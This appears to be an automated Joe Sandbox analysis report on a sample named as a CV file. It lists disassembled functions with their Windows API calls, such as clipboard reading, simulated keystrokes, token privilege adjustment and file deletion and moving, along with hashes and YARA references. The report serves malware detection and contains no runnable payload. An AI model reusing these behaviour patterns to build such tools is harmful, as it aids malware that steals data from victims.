Opcode Fuzzy Hash: 58262ce35960507b9189eb05495f243397f249436508164c994d2b0482c05dd1
Instruction Fuzzy Hash: 11118FB28096409FD717AFA49C4275ABA60EF43331F2A4350E5741F1E3CBB48D119BA6

Function 003839DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e908df7db2011151d19b897d4a4948494f90a1a3426dd436a38c65c5f4b6a17e
Instruction ID: 30ee31ee320e1548830de6836e8f715fcdfeb4b9bb1438320556cf6ce595d6b5
Opcode Fuzzy Hash: e908df7db2011151d19b897d4a4948494f90a1a3426dd436a38c65c5f4b6a17e
Instruction Fuzzy Hash: A201863150020EEECF06FF64C8918FEBB78EF10304F108069B51597195EA309A49CB60

Function 003A2AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 003A2AED

Part of subcall function 003A7C0E: __getptd_noexit.LIBCMT ref: 003A7C0E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: cbb9155e22215624a068d67c6a87113bf87137b4cc9d05c21fa0809fcd314cf2
Instruction ID: 5ca3e019bd1c0bd1d6f09fd71c011deaf707d36bde665cfae5b3d1358c3a1451
Opcode Fuzzy Hash: cbb9155e22215624a068d67c6a87113bf87137b4cc9d05c21fa0809fcd314cf2
Instruction Fuzzy Hash: AFF06231900215ABDF23AF6D8C0679F76A5FF42320F1A8415B8149E191DB788A52DB51

Function 00384252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,003839FE,?,00000001), ref: 00384286

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: f091bf8750a02df5b40037c7461b3d3f5c0b510820732a1f86422aec8cef4ae3
Instruction ID: e7eba87db5e76146cc51c948441b02035bf5a773e755fe7d7a3a3ce32f1ddfd9
Opcode Fuzzy Hash: f091bf8750a02df5b40037c7461b3d3f5c0b510820732a1f86422aec8cef4ae3
Instruction Fuzzy Hash: 44F03971909702CFCB36AF64D890816BBF4BF053253258EBEF1D686A10C7329844DF50

Function 003840A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003840C6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 060c0dd11b05431a0ee38ed3c3af6a95941cbdb3f37dbadd9f52ccfaeb416ee0
Instruction ID: 5facd2dd54b735a54558eb975762fe1bcf209a29194e22153c84abc043f55768
Opcode Fuzzy Hash: 060c0dd11b05431a0ee38ed3c3af6a95941cbdb3f37dbadd9f52ccfaeb416ee0
Instruction Fuzzy Hash: DDE0CD765002245FC712A694CC46FEA779DDF88690F0501B5F905EB244DD74D9819690

Function 019FC294 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 019FC2A9

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: b82be7cdfb7411e1edacea55c657b0a5c725232446cf066a4415e542b4bd619d
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 07E09A7594010EAFDB00DFA4D5496EE7BB4EF04312F1045A5FD0596680DA309A548A62

Function 019FC298 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 019FC2A9

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 253accc44a336b716e75a023137231c37510ff18d90a0f1182cd69f7d473e84d
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: D2E0E67594010EEFDB00DFF4D5496EE7BB4EF04312F104165FD05D2280D6309D508A62

Non-executed Functions

Function 003EF7FF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 003EF87D
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 003EF8DC
GetWindowLongW.USER32(?,000000F0), ref: 003EF919
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 003EF940
SendMessageW.USER32 ref: 003EF966
_wcsncpy.LIBCMT ref: 003EF9D2
GetKeyState.USER32(00000011), ref: 003EF9F3
GetKeyState.USER32(00000009), ref: 003EFA00
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 003EFA16
GetKeyState.USER32(00000010), ref: 003EFA20
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 003EFA4F
SendMessageW.USER32 ref: 003EFA72
SendMessageW.USER32(?,00001030,?,003EE059), ref: 003EFB6F
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 003EFB85
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 003EFB96
SetCapture.USER32(?), ref: 003EFB9F
ClientToScreen.USER32(?,?), ref: 003EFC03
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 003EFC0F
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 003EFC29
ReleaseCapture.USER32 ref: 003EFC34
GetCursorPos.USER32(?), ref: 003EFC69
ScreenToClient.USER32(?,?), ref: 003EFC76
SendMessageW.USER32(?,00001012,00000000,?), ref: 003EFCD8
SendMessageW.USER32 ref: 003EFD02
SendMessageW.USER32(?,00001111,00000000,?), ref: 003EFD41
SendMessageW.USER32 ref: 003EFD6C
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 003EFD84
SendMessageW.USER32(?,0000110B,00000009,?), ref: 003EFD8F
GetCursorPos.USER32(?), ref: 003EFDB0
ScreenToClient.USER32(?,?), ref: 003EFDBD
GetParent.USER32(?), ref: 003EFDD9
SendMessageW.USER32(?,00001012,00000000,?), ref: 003EFE3F
SendMessageW.USER32 ref: 003EFE6F
ClientToScreen.USER32(?,?), ref: 003EFEC5
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 003EFEF1
SendMessageW.USER32(?,00001111,00000000,?), ref: 003EFF19
SendMessageW.USER32 ref: 003EFF3C
ClientToScreen.USER32(?,?), ref: 003EFF86
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 003EFFB6
GetWindowLongW.USER32(?,000000F0), ref: 003F004B

Strings

F, xrefs: 003EFF42
@GUI_DRAGID, xrefs: 003EFBCC

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 2516578528-4164748364
Opcode ID: a669de814ce3083a4d44a17f91ee8885868d01925c898adf641b187d3346f87f
Instruction ID: 91a97957694beb5d6ccd15cdd84e997d7fff6c225fbde5958f5138595a0e46e1
Opcode Fuzzy Hash: a669de814ce3083a4d44a17f91ee8885868d01925c898adf641b187d3346f87f
Instruction Fuzzy Hash: F332DD746002A5AFDB12CF64C880BAABBA8FF49344F054A39F695872F1C7B1EC44CB51

Function 003EAACE Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 003EB1CD

Strings

%d/%02d/%02d, xrefs: 003EAEFC

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 6c8f71a024dc0ac18d5144c79c75af76bfb6849d2bd7a0d15f469b54c38007af
Instruction ID: dff4cf8f4fcb74aeb6037153696c01f99e00aa0bb57324941a117386a1672406
Opcode Fuzzy Hash: 6c8f71a024dc0ac18d5144c79c75af76bfb6849d2bd7a0d15f469b54c38007af
Instruction Fuzzy Hash: 9812E271500268ABEB269F66CD49FAFBBB8FF45720F104229F915EB2D1DB709901CB11

Function 0039EB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 0039EB4A
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003F3AEA
IsIconic.USER32(000000FF), ref: 003F3AF3
ShowWindow.USER32(000000FF,00000009), ref: 003F3B00
SetForegroundWindow.USER32(000000FF), ref: 003F3B0A
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 003F3B20
GetCurrentThreadId.KERNEL32 ref: 003F3B27
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 003F3B33
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 003F3B44
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 003F3B4C
AttachThreadInput.USER32(00000000,?,00000001), ref: 003F3B54
SetForegroundWindow.USER32(000000FF), ref: 003F3B57
MapVirtualKeyW.USER32(00000012,00000000), ref: 003F3B6C
keybd_event.USER32(00000012,00000000), ref: 003F3B77
MapVirtualKeyW.USER32(00000012,00000000), ref: 003F3B81
keybd_event.USER32(00000012,00000000), ref: 003F3B86
MapVirtualKeyW.USER32(00000012,00000000), ref: 003F3B8F
keybd_event.USER32(00000012,00000000), ref: 003F3B94
MapVirtualKeyW.USER32(00000012,00000000), ref: 003F3B9E
keybd_event.USER32(00000012,00000000), ref: 003F3BA3
SetForegroundWindow.USER32(000000FF), ref: 003F3BA6
AttachThreadInput.USER32(000000FF,?,00000000), ref: 003F3BCD

Strings

Shell_TrayWnd, xrefs: 003F3AE5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: d0c9ea5657279855063dcabb43593a12f81082275baa22dc4ac77368506bc948
Instruction ID: a9eceab128fdbe9915952841cf26a3ca55338c73c350e98c67ddc9b9b78ec8d1
Opcode Fuzzy Hash: d0c9ea5657279855063dcabb43593a12f81082275baa22dc4ac77368506bc948
Instruction Fuzzy Hash: 3E317071E4021CBFEB216BA58D4AF7F7E6CEB44B50F114025FB05FA1D0DAB19D00AAA4

Function 003BACC5 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 003BB134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 003BB180
Part of subcall function 003BB134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 003BB1AD
Part of subcall function 003BB134: GetLastError.KERNEL32 ref: 003BB1BA

_memset.LIBCMT ref: 003BAD08
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 003BAD5A
CloseHandle.KERNEL32(?), ref: 003BAD6B
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 003BAD82
GetProcessWindowStation.USER32 ref: 003BAD9B
SetProcessWindowStation.USER32(00000000), ref: 003BADA5
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 003BADBF

Part of subcall function 003BAB84: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,003BACC0), ref: 003BAB99
Part of subcall function 003BAB84: CloseHandle.KERNEL32(?,?,003BACC0), ref: 003BABAB

Strings

default, xrefs: 003BADBA
winsta0, xrefs: 003BAD7D
, xrefs: 003BAD17
H*C, xrefs: 003BAE40

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $H*C$default$winsta0
API String ID: 2063423040-1562247724
Opcode ID: 997a87125b778a6368bddaec739185f077fc1d12772fbce168dbacbac253b82f
Instruction ID: d39d8747c2839865def5c987afca36545d4d35213c9459d91745af3f671168e1
Opcode Fuzzy Hash: 997a87125b778a6368bddaec739185f077fc1d12772fbce168dbacbac253b82f
Instruction Fuzzy Hash: 73819F71C00A09AFEF12DFA4CD45AEEBB78EF08348F054129FA14B6561D7728E44DB61

Function 003C60DD Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 174filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003C5FA6,?), ref: 003C6ED8

Part of subcall function 003C6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,003C5FA6,?), ref: 003C6EF1

Part of subcall function 003C725E: __wsplitpath.LIBCMT ref: 003C727B
Part of subcall function 003C725E: __wsplitpath.LIBCMT ref: 003C728E

Part of subcall function 003C72CB: GetFileAttributesW.KERNEL32(?,003C6019), ref: 003C72CC

_wcscat.LIBCMT ref: 003C6149
_wcscat.LIBCMT ref: 003C6167
__wsplitpath.LIBCMT ref: 003C618E
FindFirstFileW.KERNEL32(?,?), ref: 003C61A4
_wcscpy.LIBCMT ref: 003C6209
_wcscat.LIBCMT ref: 003C621C
_wcscat.LIBCMT ref: 003C622F
lstrcmpiW.KERNEL32(?,?), ref: 003C625D
DeleteFileW.KERNEL32(?), ref: 003C626E
MoveFileW.KERNEL32(?,?), ref: 003C6289
MoveFileW.KERNEL32(?,?), ref: 003C6298
CopyFileW.KERNEL32(?,?,00000000), ref: 003C62AD
DeleteFileW.KERNEL32(?), ref: 003C62BE
FindNextFileW.KERNEL32(00000000,00000010), ref: 003C62E1
FindClose.KERNEL32(00000000), ref: 003C62FD
FindClose.KERNEL32(00000000), ref: 003C630B

Strings

\*.*, xrefs: 003C6138, 003C6147, 003C6165

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
String ID: \*.*
API String ID: 1917200108-1173974218
Opcode ID: fc6e4e1d84a4dbe82e6c1ad6ca773f534bb2985b3434af49721a4199cbc45eac
Instruction ID: 404699415b0612aa8baa33fe48e31c1fe601c4c2030f34383b939956803dab67
Opcode Fuzzy Hash: fc6e4e1d84a4dbe82e6c1ad6ca773f534bb2985b3434af49721a4199cbc45eac
Instruction Fuzzy Hash: 28511072C0811C6ACB22EB91CD45EEB77BCAF05300F0905EAE585E6141DE369B49CFA8

Function 003D6B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0041DC00), ref: 003D6B36
IsClipboardFormatAvailable.USER32(0000000D), ref: 003D6B44
GetClipboardData.USER32(0000000D), ref: 003D6B4C
CloseClipboard.USER32 ref: 003D6B58
GlobalLock.KERNEL32(00000000), ref: 003D6B74
CloseClipboard.USER32 ref: 003D6B7E
GlobalUnlock.KERNEL32(00000000), ref: 003D6B93
IsClipboardFormatAvailable.USER32(00000001), ref: 003D6BA0
GetClipboardData.USER32(00000001), ref: 003D6BA8
GlobalLock.KERNEL32(00000000), ref: 003D6BB5
GlobalUnlock.KERNEL32(00000000), ref: 003D6BE9
CloseClipboard.USER32 ref: 003D6CF6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: af54c6f0186c896ebff871bd56bfb064d8b871e71332a59dd26994dbfd672d00
Instruction ID: 15c4d69f7aba6012770ae0d174e07f11a2ce44e312098b13b30177a4c055bda5
Opcode Fuzzy Hash: af54c6f0186c896ebff871bd56bfb064d8b871e71332a59dd26994dbfd672d00
Instruction Fuzzy Hash: 0B518172604301ABD302BFA1DD96F6E77A8AF84B10F00042EF556EB2D1DF70D9098B66

Function 003CF5FA Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 278timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 003CF62B
FindClose.KERNEL32(00000000), ref: 003CF67F
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 003CF6A4
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 003CF6BB
FileTimeToSystemTime.KERNEL32(?,?), ref: 003CF6E2
__swprintf.LIBCMT ref: 003CF72E
__swprintf.LIBCMT ref: 003CF767
__swprintf.LIBCMT ref: 003CF7BB

Part of subcall function 003A172B: __woutput_l.LIBCMT ref: 003A1784

__swprintf.LIBCMT ref: 003CF809
__swprintf.LIBCMT ref: 003CF858
__swprintf.LIBCMT ref: 003CF8A7
__swprintf.LIBCMT ref: 003CF8F6

Strings

%02d, xrefs: 003CF7B0, 003CF7B9, 003CF807, 003CF856, 003CF8A5, 003CF8F4
%4d, xrefs: 003CF761
%4d%02d%02d%02d%02d%02d, xrefs: 003CF728

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal$CloseFirstSystem__woutput_l
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 835046349-2428617273
Opcode ID: 5fc674058bd0b2055b49d50ca199f4330bf3975f22b03ce331a89d8e17dc678c
Instruction ID: 594c34251c4fc56680fe876ddc1b94d358bb65d901ead6831584894b9280e5e4
Opcode Fuzzy Hash: 5fc674058bd0b2055b49d50ca199f4330bf3975f22b03ce331a89d8e17dc678c
Instruction Fuzzy Hash: 81A121B2408344ABC716FBA4C985EAFB7ECAF98704F440C6EF585C6151EB34D949CB62

Function 003D1B2F Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 003D1B50
_wcscmp.LIBCMT ref: 003D1B65
_wcscmp.LIBCMT ref: 003D1B7C
GetFileAttributesW.KERNEL32(?), ref: 003D1B8E
SetFileAttributesW.KERNEL32(?,?), ref: 003D1BA8
FindNextFileW.KERNEL32(00000000,?), ref: 003D1BC0
FindClose.KERNEL32(00000000), ref: 003D1BCB
FindFirstFileW.KERNEL32(*.*,?), ref: 003D1BE7
_wcscmp.LIBCMT ref: 003D1C0E
_wcscmp.LIBCMT ref: 003D1C25
SetCurrentDirectoryW.KERNEL32(?), ref: 003D1C37
SetCurrentDirectoryW.KERNEL32(004339FC), ref: 003D1C55
FindNextFileW.KERNEL32(00000000,00000010), ref: 003D1C5F
FindClose.KERNEL32(00000000), ref: 003D1C6C
FindClose.KERNEL32(00000000), ref: 003D1C7C

Strings

*.*, xrefs: 003D1BE2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: bcea57a3a2745d93f6b73b07ed34b5498ea82a61308cf9bdcfc1a9db4998b146
Instruction ID: a04e05d790b42c94c768af08b9fc812c44dd309b744ba1f8c08769ec1684c44a
Opcode Fuzzy Hash: bcea57a3a2745d93f6b73b07ed34b5498ea82a61308cf9bdcfc1a9db4998b146
Instruction Fuzzy Hash: 3731A573A40219BBDB16AFE0EC49BDE77AC9F05321F1401A7F811E3190EB74DA458A68

Function 003D1C8A Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 003D1CAB
_wcscmp.LIBCMT ref: 003D1CC0
_wcscmp.LIBCMT ref: 003D1CD7

Part of subcall function 003C6BD4: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 003C6BEF

FindNextFileW.KERNEL32(00000000,?), ref: 003D1D06
FindClose.KERNEL32(00000000), ref: 003D1D11
FindFirstFileW.KERNEL32(*.*,?), ref: 003D1D2D
_wcscmp.LIBCMT ref: 003D1D54
_wcscmp.LIBCMT ref: 003D1D6B
SetCurrentDirectoryW.KERNEL32(?), ref: 003D1D7D
SetCurrentDirectoryW.KERNEL32(004339FC), ref: 003D1D9B
FindNextFileW.KERNEL32(00000000,00000010), ref: 003D1DA5
FindClose.KERNEL32(00000000), ref: 003D1DB2
FindClose.KERNEL32(00000000), ref: 003D1DC2

